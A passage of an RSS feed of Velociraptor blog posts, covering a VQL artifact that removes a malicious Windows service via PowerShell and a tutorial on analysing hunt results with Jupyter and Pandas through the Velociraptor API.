target=&#34;_blank&#34; &gt;See Att&amp;amp;ck Matrix 1035&lt;/a&gt;). The Atomic Red Team has an example &lt;a href=&#34;https://github.com/redcanaryco/atomic-red-team/blob/8881bdb0029f186e7e06994e45ab1fb49e7adfa8/atomics/T1035/T1035.md&#34; target=&#34;_blank&#34; &gt;simulation&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/../../img/1mDYbeZBXbsFzZuWLl_rPXA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can collect the &lt;strong&gt;Windows.System.Services&lt;/strong&gt; artifact and identify the malicious service immediately&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/../../img/1St0TfmwTFJnRfLGsEuHCHw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;But now we would like to automatically clean it. We know the malicious service &lt;strong&gt;PathName&lt;/strong&gt; value should match the keyword “marker.txt” (In reality we can come up with other unique keywords for the malicious service). So we just write the following artifact:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Custom.RemoveService&#xA;description: |&#xA;    Clean up malicious services.&#xA;&#xA;type: CLIENT&#xA;&#xA;parameters:&#xA; - name: script&#xA;   default: |&#xA;     $service = Get-WmiObject -Class Win32_Service -Filter &amp;quot;Name=&#39;%v&#39;&amp;quot;&#xA;     sc.exe stop &amp;quot;%v&amp;quot;&#xA;     Start-Sleep -s 10&#xA;     $service.delete()&#xA; - name: PathNameRegex&#xA;   default: marker.txt&#xA;&#xA;sources:&#xA;  - precondition:&#xA;      SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;    queries:&#xA;    - LET services = SELECT Name, PathName FROM Artifact.Windows.System.Services()&#xA;      WHERE PathName =~ PathNameRegex&#xA;      AND log(message=&amp;quot;Removing service &amp;quot;+Name)&#xA;    - SELECT * FROM foreach(&#xA;        row=services,&#xA;        query={&#xA;          SELECT Name, PathName, Stdout, Stderr FROM execve(argv=[&amp;quot;powershell&amp;quot;,&#xA;              &amp;quot;-ExecutionPolicy&amp;quot;, &amp;quot;Unrestricted&amp;quot;, &amp;quot;-encodedCommand&amp;quot;,&#xA;              base64encode(string=utf16_encode(&#xA;                string=format(format=script, args=[Name, Name])))&#xA;          ])&#xA;        })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The powershell component actually stops, and removes the bad service, while the VQL component runs the &lt;strong&gt;Windows.System.Services&lt;/strong&gt; artifacts, filters out the keyword to identify the malicious service and then calls powershell to remove it.&lt;/p&gt;&#xA;&lt;p&gt;Now when collecting the artifact, we can see which machines had the malicious service installed, and how the removal went. We can then collect the &lt;strong&gt;Windows.System.Services&lt;/strong&gt; artifact again to check that services were correctly removed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/../../img/1_gfWrRvoEQhZFQenbsz0MA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Running a deployment wide hunt that collects this remediation artifact will automatically remove the bad service from all connected endpoints within a couple minutes. The hunt will then be applied on new endpoints as they come back online.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;Ultimately the VQL artifacts just delegate the heavy lifting to Powershell. This means that Velociraptor does not need to implement these feature internally since we can already rely on Powershell’s wide support for many products and system administration tasks. Formatting powershell output in machine readable format (like JSON) allows VQL to emit rows which are indistinguishable from those emitted by built in plugins — they can still be filtered and reused as usual in other VQL statements.&lt;/p&gt;&#xA;&lt;p&gt;So what advantages does this present over just running remote powershell scripts? Why do we even need Velociraptor at all?&lt;/p&gt;&#xA;&lt;p&gt;The main advantage is that Velociraptor has much wider reach — endpoints do not have to be accessible over WinRM, i.e. they can be at home or at a coffee shop, instead of having to stay on the corporate network. Since we never need to actually connect to the endpoint, we can reach it even when it is located behind NAT or filtered networks. Some road warrior type users are never present within the corporate LAN.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, when you run a Velociraptor hunt and the client is not immediately online, the hunt is scheduled until the endpoint comes back online. We can be sure to have wide coverage of our endpoints because we don’t need to chase them and try to remotely access them when they come online (some remote machine connect for minutes a day or at unusual timezones). We just set the hunt and forget it — the endpoint will remove the malicious service when it is ready automatically.&lt;/p&gt;&#xA;&lt;p&gt;Finally, having the flexibility to encode powershell snippets inside artifacts allows us to develop reusable code. The users of our artifacts don’t really care how it works but can call it and tweak it using other VQL or simply by providing parameters in the GUI. This leads to excellent knowledge sharing and code reusability within the community.&lt;/p&gt;&#xA;&lt;p&gt;Finally it must be said that remediation is inherently a risky activity. Most artifacts passively collect data from the endpoint, since Velociraptor is primarily an endpoint visibility tool. Deliberately making changes on the system carries with it an inherent level of risk and should be done very carefully. Like the Hippocratic Oath, we must “first, do no harm” (&lt;a href=&#34;https://en.wikipedia.org/wiki/Primum_non_nocere&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Primum non nocere&lt;/code&gt;&lt;/a&gt;). For example, if our regular expression selecting the malicious services is too loose we might end up removing many critical services from critical systems! Be sure to test your remediation artifacts first by disabling the actual removal script and seeing how many services we would attempt to remove.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor Post-processing with Jupyter Notebook and Pandas</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/</link>
      <pubDate>Fri, 06 Mar 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/11fFaw5h0oG_ICHv7Q7Haog.png?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is a powerful endpoint visibility tool. The unique strength of the tool is being able to collect endpoint state by using the Velociraptor Query Language (VQL) via custom or curated “&lt;a href=&#34;https://www.velocidex.com/docs/user-interface/artifacts/&#34; target=&#34;_blank&#34; &gt;Artifacts&lt;/a&gt;”. Not only can one collect artifacts from a single host, but one can collect the same artifact from many thousands of hosts within seconds.&lt;/p&gt;&#xA;&lt;p&gt;Being able to collect a lot of data quickly is awesome, but the flip side is that a lot of data makes it harder to review manually. We can always tune artifacts by editing the VQL to be more surgical which helps with reducing the collected data, but we would often still like to be able to post process and understand the data we get back in a convenient way.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor allows you to download the results of a hunt into a zip file. In the zip file, you can find a combined CSV file containing the results from all endpoints. You can process this file using an external tool or upload to a database.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1q6eE6r23LPXwe0BDbEM4fw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In a &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-01-12_hunting-malware-using-mutants-ea08e86dfc19/&#34;&gt;previous article&lt;/a&gt; we have seen how to forward Velociraptor collected data to Elastic and Kibana for post processing. While this is certainly useful, we often want to quickly analyze the data we have and provide a working document of our findings without needing additional infrastructure.&lt;/p&gt;&#xA;&lt;h3 id=&#34;jupyter-notebook&#34;&gt;Jupyter Notebook&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jupyter.org/&#34; target=&#34;_blank&#34; &gt;Jupyter notebook&lt;/a&gt; is an amazing project fusing interactive data analysis and documentation into a single application. A Jupyter notebook consists of a series of cells, each cell can be either markdown formatted text, or a Python code snippet, which gets evaluated and the results are stored in the cell’s output section. The notebook contains the analyst work as they are working and can then be exported as a final report using a variety of formats (pdf, html etc).&lt;/p&gt;&#xA;&lt;p&gt;The notebook approach is ideal for DFIR investigations. Since we don&amp;rsquo;t typically know what is important when we start our investigation, we go through checking various things and drilling down into various evidence sources. The notebook keeps track of all our work and records our analysis until we narrow down the intrusions, documenting any dead-ends we might encounter and documenting our findings in a logical easy to follow way.&lt;/p&gt;&#xA;&lt;p&gt;In this article I will show how to use Jupyter to post-process some simple Velociraptor hunts to perform a typical DFIR response.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Note that while Jupyter and Pandas are both written in Python you do not actually need to know Python to use Jupyter with Velociraptor. Jupyter simply evaluates VQL statements on the Velociraptor server and displays their result in the notebook. Similarly you don&amp;rsquo;t need to be a VQL expert — Event a basic understanding of VQL is sufficient to be able to drill down into the hunt results.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;configuring-jupyter-access-to-the-velociraptor-server&#34;&gt;Configuring Jupyter access to the Velociraptor Server&lt;/h3&gt;&#xA;&lt;p&gt;In order for Jupyter to connect to the Velociraptor server, we will use the Velociraptor API to issue VQL queries directly on the server.&lt;/p&gt;&#xA;&lt;p&gt;By default, the server’s API service is not exposed to the internet. We can modify the server’s configuration to allow this by simply changing the API’s bind port to 0.0.0.0&lt;/p&gt;&#xA;&lt;p&gt;In our example we have an Ubuntu server running Velociraptor in&lt;a href=&#34;https://www.velocidex.com/docs/getting-started/cloud/#deploying-to-the-cloud&#34; target=&#34;_blank&#34; &gt; the recommended way&lt;/a&gt;. When used in this way, Velociraptor runs under a low privilege user account called “velociraptor”.&lt;/p&gt;&#xA;&lt;p&gt;We therefore need to change to that user, edit the configuration file and restart the service. Finally we check that the service is listening on all interfaces with port 8001.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1d0MOYqBImpL4rfUeaB0mEw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1KcIJClHBVGpJEb7uud9YOw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-an-api-key&#34;&gt;Creating an API key&lt;/h3&gt;&#xA;&lt;p&gt;In order to allow access, Velociraptor requires an API key file to be created. This file contains certificates and key material for authenticating an API client with the server. Simply generate a new key and name it with a unique name (In our case we will call the key &lt;strong&gt;Mike&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1ChgJFdKblfhINrga14RElw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since release 0.4.0 you will also need to explicitly grant the key query permissions&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1ScauB3x9K8eWbKKvoGCv9w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;installing-jupyter-and-pandas&#34;&gt;Installing Jupyter and Pandas&lt;/h3&gt;&#xA;&lt;p&gt;Jupyter and Pandas are written in Python and therefore can be easily installed using the pip package manager that comes with python. We will also use Velociraptor’s python bindings to talk with the server (If you want to plot graphs you will also need to install matplotlib).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# pip install pyvelociraptor jupyter pandas&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1OcyptZNE9dk4N3UEXcbtpQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next copy the API key we generated on the server to your workstation and make sure that the api_connection_string is pointing to the server’s public DNS name&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1stl9_KDM4aO2TbzyB7h2vg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The easiest way to provide Python programs with the API key is to simply set the path to the key file in the environment variable &lt;strong&gt;VELOCIRAPTOR_API_FILE&lt;/strong&gt;. We can then launch the Jupyter notebook.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1ZtI7wXzoUpHX_1A6WKVcUg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This will open the browser and should present the Jupyter web app. We can now create a new notebook using the regular Python3 kernel.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/14Q6TJx6GFp8vrhSYjcQNFw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;running-vql-in-the-notebook&#34;&gt;Running VQL in the notebook&lt;/h3&gt;&#xA;&lt;p&gt;Jupyter notebooks provide cells with input editable areas, where you can write python code. The code will be evaluated when pressing CTRL-Enter and the result is shown in the output part of the cell.&lt;/p&gt;&#xA;&lt;p&gt;Pandas is a popular data exploration and transformation library which works great with Jupyter. We will use Pandas to explore the result of VQL queries we issue to the server.&lt;/p&gt;&#xA;&lt;p&gt;To test our connection, we run the simple query “SELECT * FROM info()” which just provides information about the running platform.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;&#xA;import pandas&#xA;from pyvelociraptor import velo_pandas&#xA;&#xA;pandas.set_option(&#39;display.max_colwidth&#39;, None)&#xA;pandas.set_option(&#39;display.max_columns&#39;, None)&#xA;pandas.set_option(&#39;display.max_rows&#39;, None)&#xA;&#xA;pandas.DataFrame(velo_pandas.DataFrameQuery(&amp;quot;&amp;quot;&amp;quot;&#xA;  SELECT * FROM info()&#xA;&amp;quot;&amp;quot;&amp;quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If all goes well, the Velociraptor Python bindings will attempt to connect to the server, run the VQL statement on the server and present the results as a table within the notebook.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1zIo1vmWBb8L_5U9LIy0_ag.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;NOTE: The VQL queries we issue in the notebook run directly on the server. You can do anything with these queries, including collecting new artifact on any endpoint, starting and stopping hunts and inspecting any collected data. Velociraptor currently does not offer fine grained ACLs — being able to run VQL is effectively the same as having root level access everywhere. Please take care to secure the API key file on your workstation.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;using-jupyter-to-investigate-a-hunt&#34;&gt;Using Jupyter to investigate a hunt&lt;/h3&gt;&#xA;&lt;p&gt;With the power of Jupyter and VQL you can do some really sophisticated analysis, but in this section I will just demonstrate a very typical process of drilling into data, including and excluding filters and identifying important trends.&lt;/p&gt;&#xA;&lt;p&gt;For this example I will schedule a collection of the windows task scheduler files in a hunt. Malware typically installs scheduled tasks to ensure persistence — the task will run at a later time and will guarantee the malware is re-installed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1Bs3on9WKi6Jx6qs8kFENEA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;We schedule the Windows.System.TaskScheduler hunt to collect and analyze all scheduled tasks.&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    We schedule the Windows.System.TaskScheduler hunt to collect and analyze all scheduled tasks.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;We schedule the Windows.System.TaskScheduler hunt to collect and analyze all scheduled tasks.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In a real investigation, the hunt will collect all the scheduled tasks from thousands of machines, making manual analysis tedious and challenging.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1Nu4ZOANqPJYg962prCJtFA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;We can see the hunt id assigned to this hunt. We will need this ID when querying through the API&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    We can see the hunt id assigned to this hunt. We will need this ID when querying through the API&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;We can see the hunt id assigned to this hunt. We will need this ID when querying through the API&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We start off by exploring the results of the hunt — simply select all columns from the hunt results but limit the result of only a small set for inspection. We will call the &lt;a href=&#34;https://www.velocidex.com/docs/vql_reference/server/#hunt-results&#34; target=&#34;_blank&#34; &gt;hunt_results&lt;/a&gt; VQL plugin and provide it with the hunt id, the artifact we collected and the source in the artifact.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;&#xA;pandas.DataFrame(velo_pandas.DataFrameQuery(&amp;quot;&amp;quot;&amp;quot;&#xA;SELECT *&#xA;FROM hunt_results(hunt_id=&#39;H.a127011b&#39;,&#xA;    artifact=&#39;Windows.System.TaskScheduler&#39;,&#xA;    source=&#39;Analysis&#39;)&#xA;LIMIT 50&#xA;&amp;quot;&amp;quot;&amp;quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is very important to limit the query otherwise the server will send too many rows and take a long time. If this happens you can select Jupyter’s Kernel-&amp;gt;Interrupt menu to abort the query.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1vQXPUJA1ooY_XLhyDhPbOg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The collected hunt contains too many columns for our current purpose, so we simply restrict the columns shown to &lt;strong&gt;FullPath, Command, Arguments and Fqdn.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1X3HZ0Wi7NTz_ou3Jec2v3A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This looks better!&lt;/p&gt;&#xA;&lt;p&gt;We know that many malware scheduled tasks tend to run cmd.exe as the command, so we want to only check for tasks running cmd.exe next. We simply add a &lt;strong&gt;WHERE Command =~ ‘cmd.exe’&lt;/strong&gt; clause (In VQL =~ is the regex match operator).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1IqVixgwp_kpJufyzf84ylA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After some investigation we determine that the commands running &lt;strong&gt;silcollector&lt;/strong&gt; are actually legitimate. Also &lt;strong&gt;dsregcmd.exe&lt;/strong&gt; is not related to the malware and is legitimate. Simply add some more filters to exclude those conditions.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/11IqgundpX4Mp5Qw__gA4MQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This isolated the data we actually want. In a large malware infection, we might see many suspicious tasks deployed to many hosts at the same time. We can repeat the process of including, and excluding tasks based on various criteria to get an idea of which machines are compromised.&lt;/p&gt;&#xA;&lt;h3 id=&#34;plotting-graphs&#34;&gt;Plotting graphs&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://pandas.pydata.org/&#34; target=&#34;_blank&#34; &gt;Pandas&lt;/a&gt; also supports plotting graphs through &lt;a href=&#34;https://matplotlib.org/&#34; target=&#34;_blank&#34; &gt;matplotlib&lt;/a&gt;. The next VQL snippet simply extracts the kill timestamp (when a flow ended) from a particular hunt to visualize how this hunt actually progressed over time. We can use Pandas to manipulate the timestamps and then plot them into the notebook.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/../../img/1M_kYmIvuI1bKQahVYlOj5Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be see in the above plot, this particular hunt collected artifacts from about 1750 endpoints within about a minute (collecting the machines currently connected to the server) then as the next few days progressed, more machines came back online completing the collection. 